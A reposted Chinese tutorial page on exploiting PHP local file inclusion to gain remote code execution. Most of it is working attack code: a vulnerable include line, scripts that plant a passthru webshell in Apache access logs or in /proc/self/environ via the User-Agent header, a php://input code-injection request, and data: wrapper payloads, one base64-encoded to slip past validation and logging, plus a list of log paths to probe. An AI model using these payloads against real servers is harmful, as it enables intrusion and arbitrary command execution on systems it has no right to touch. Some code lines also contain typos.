当前位置:编程学习 > php >>

利用PHP代码实现LFI2RCE

在HIZ杂志中所用到的函数是passthru(http://cn2.php.net/passthru),主要还是为了实现一句话木马,当然也可使用exec 以及system等函数,三者之间的区别可参考《PHP 执行系统外部命令 system() exec() passthru()》:http://hi.baidu.com/cgeek/blog/item/fb9a1e4cd1bf1afdd62afc73.html

  漏洞代码:
  <?php include($_GET[content]); ?>
  方法一:
  请求代码如下:
  <?php
  $a = fsockopen("localhost",80);
  fwrite ($a, "GET /<?php passthru($_GET[cmd]);?> HTTP/1.1 ".
  "Host:localhost ".
  "Connection:Close ");
  fclose($a);
  ?>
  接下来再依据服务器的日志文件路径执行请求,比如aphche,可执行以下请求:
  http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id
  当然也可有其它日志文件路径,比如:
  "/etc/httpd/logs/acces_log",
  "/etc/httpd/logs/acces.log",
  "/var/www/logs/access_log",
  "/var/www/logs/access.log",
  "/usr/local/apache/logs/access_log",
  "/usr/local/apache/logs/access.log",
  "/var/log/apache/access_log",
  "/var/log/apache/access.log",
  "/var/log/httpd/access_log",
  "/var/log/httpd/access.log",
  "D:/apps/Apache Group/Apache2/logs/access.log"

  方法二:
  另外,也可利用包含环境变量的文件:/proc/self/environ ,而此时我们将恶意代码插入到User-Agent header中,那么在代码就会被记录到以上文件中,具体代码如下:
  <?php
  $a=fsockopen("localhost",80);
  fwrite($a,
  "GET /../../../../proc/self/environ HTTP/1.1 ".
  "User-Agent: <?php passthru($_GET[cmd]); ?> ".
  "Host: localhost ".
  "Connection: Close ");
  fclose($a);
  ?>

  方法三:
  还有一种方法就是利用php://wrapper(http://www.php.net/wrappers.php),例如使用php://input来获取HTTP POST 请求中的原始数据并远程执行:
  <?php
  $request = "<?php passthru(id;); ?>";
  $req = "POST /index.php?content=php://input HTTP /1.1 ".
  "Host:localhost ".
  "Content-type:text/html ".
  "Content-length:".strlen($request)." ".
  "Connection: Close ".
  "$request ";
  $a=fsockopen("localhost",80);
  fwrite($a,$req);
  echo $req;
  while (!feof($a))
  { echo fgets($a,128); }
  fclose($a);
  ?>

  方法四:
  利用"data:"wrapper(http://cn.php.net/manual/en/wrappers.data.php):
  index.php?content=data:<?php system($_GET[c]); ?>?&c=dir
  可再进行base64加密以绕过validation/sketchy logs:
  index.php?content=data:;base64,
  PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

补充:Web开发 , php ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,